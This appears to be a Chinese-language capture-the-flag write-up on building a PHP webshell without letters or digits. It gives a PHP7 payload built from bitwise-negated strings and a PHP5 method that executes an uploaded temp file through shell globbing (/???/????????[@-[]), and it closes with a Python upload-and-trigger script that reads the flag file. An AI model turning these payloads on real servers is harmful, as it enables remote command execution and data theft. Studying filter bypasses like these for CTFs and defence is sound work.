無數字字母構造webshell二
原始碼如下
可以看到他過濾了$
和_
而且payload的長度不能超過35,針對這樣的情況,P神也做出瞭解決
PHP7下簡單解決問題
PHP7前是不允許用($a)();這樣的方法來執行動態函式的,但PHP7中增加了對此的支援。所以,我們可以通過('phpinfo')();來執行函式,第一個括號中可以是任意PHP表示式。
所以很簡單了,構造一個可以生成phpinfo這個字串的PHP表示式即可。payload如下(不可見字元用url編碼表示):
(~%8F%97%8F%96%91%99%90)();
關於php5的解決
我們可以使用
shell下可以利用.來執行任意指令碼
Linux檔名支援用glob萬用字元代替
來解決
.
或者叫period,它的作用和source一樣,就是用當前的shell執行一個檔案中的命令。比如,當前執行的shell是bash,則. file的意思就是用bash執行file檔案中的命令。
用. file執行檔案,是不需要file有x許可權的
。那麼,如果目標伺服器上有一個我們可控的檔案,那不就可以利用.來執行它了嗎?
這個檔案也很好得到,我們可以傳送一個上傳檔案的POST包,此時PHP會將我們上傳的檔案儲存在臨時資料夾下,預設的檔名是/tmp/phpXXXXXX,檔名最後6個字元是隨機的大小寫字母,6個隨機字元最後一個字元是大寫的所以可以根據這個特性取glob取匹配
第二個難題接踵而至,執行. /tmp/phpXXXXXX,也是有字母的。此時就可以用到Linux下的glob萬用字元:
*可以代替0個及以上任意字元
?可以代表1個任意字元
那麼,/tmp/phpXXXXXX就可以表示為/*/?????????或/???/?????????。
但我們嘗試執行. /???/?????????卻會爆錯,這是因為用這樣的方法匹配到的檔案會很多
那麼,我們可以利用[@-[]
來表示大寫字母
然後就可以進行任意命令執行了
整個攻擊過程總結
- 自己寫一個檔案上傳的指令碼,將我們含有要執行的命令的檔案上傳上去
- 利用本來的命令執行漏洞打入我們的無字母字元的payload
- 任意命令執行
這裡的[@-[]是在ascii碼中A-Z的一個臨界這是glob支援的一種語法[^-]值的是不包含-的
你Post上去的檔案預設是放在tmp/phpxxxxxx
裡面的最後一個字元一般為大寫
這裡放一個post檔案的指令碼
import requests
while True:
url = "http:// /?c=. /???/????????[@-[]"
r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")})
flag = r.text.split('flag')
if len(flag) >1:
print(r.text)
break